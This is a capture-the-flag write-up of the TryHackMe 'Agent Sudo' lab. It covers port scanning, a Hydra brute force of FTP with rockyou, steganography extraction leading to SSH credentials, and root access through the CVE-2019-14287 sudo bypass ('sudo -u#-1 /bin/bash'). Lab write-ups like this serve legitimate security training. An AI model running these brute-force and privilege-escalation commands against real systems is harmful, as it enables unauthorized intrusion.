Agent Sudo
CTF Writeup: Agent Sudo
Link: TryHackMe | OS: Linux | Difficulty: Easy | Date: 2025-11-08 | Author: S3Z4R
1. Reconnaissance
Port Scanning
An initial scan of the target machine revealed three open ports:
- 21: FTP
- 22: SSH
- 80: HTTP (TCP)
Web & FTP Enumeration
-
Enumerating the web server on port 80 using
curlwith a modified User-Agent (-A 'C') revealed the usernamechris.curl -A 'C' -L http://<Machine-IP>Output:
Agent name: chrisWith -
With the username
chris, I usedhydrato brute-force the FTP password using therockyou.txtwordlist.hydra -l chris -t 4 -P kali-wordlists/rockyou.txt ftp://<Machine-IP>Password Found:
Crystal
2. Initial Access
Steganography & Credential Discovery
After logging into the FTP server as chris with the password Crystal, I found two image files:
cutie.pngcute-alien.jpg
Path to Credentials
This phase involved a multi-step steganography challenge.
- File 1:
cutie.pngRunningbinwalkon this file extracted a password-protected zip archive.binwalk -e cutie.pngFile Extracted:
8702.zip(located in the_cutie.png.extracteddirectory) -
Finding the Zip Password (OSINT) The password for
8702.zipwas related to the second file,cute-alien.jpg. A Google search for “fox news alien autopsy” led to the key phrase “Roswell alien autopsy”. -
Unlocking the Zip Using “Roswell alien autopsy” as the password,
7zsuccessfully extracted the contents of the zip file:To_AgentR.txt.# (Assuming "Roswell alien autopsy" is the "alien password" mentioned in notes) 7z x 8702.zipcat To_AgentR.txtOutput:
We need to send the picture to 'QXJlYTUx' as soon as possible! - Decoding the Clue
The string
QXJlYTUxis Base64. Decoding it revealed the final password.echo 'QXJlYTUx' | base64 -dOutput:
Area51 - File 2:
cute-alien.jpgThe decoded passwordArea51was the passphrase forsteghideon the second image,cute-alien.jpg.steghide extract -sf cute-alien.jpg Enter passphrase: Area51Output:
wrote extracted data to "message.txt" - Final Credentials
Reading the extracted
message.txtfile provided the SSH credentials for the userjames.cat message.txtOutput:
Hi james, ... Your login password is hackerrules!
3. User Flag
I successfully logged in via SSH as james with the password hackerrules!. The user flag was in the home directory.
ssh james@<Machine-IP>
cat user_flag.txt
User Flag: b03d...3c7
4. Priviledge Escalation
- Running
sudo -lasjamesrevealed a criticalsudoersmisconfiguration.sudo -lOutput:
User james may run the following commands on agent-sudo: (ALL, !root) /bin/bash -
This specific rule is vulnerable to CVE-2019-14287. This vulnerability allows a user to bypass the
!rootrestriction by specifying the user ID-1. - Running the exploit command immediately granted a root shell.
sudo -u#-1 /bin/bash
5. Root Flag
With root access, I read the final flag from /root/root.txt.
whoami
> root
cat /root/root.txt
Root Flag:
b53a...c062The flag file also noted that the box was designed for TryHackMe and that Agent R name is DesKel.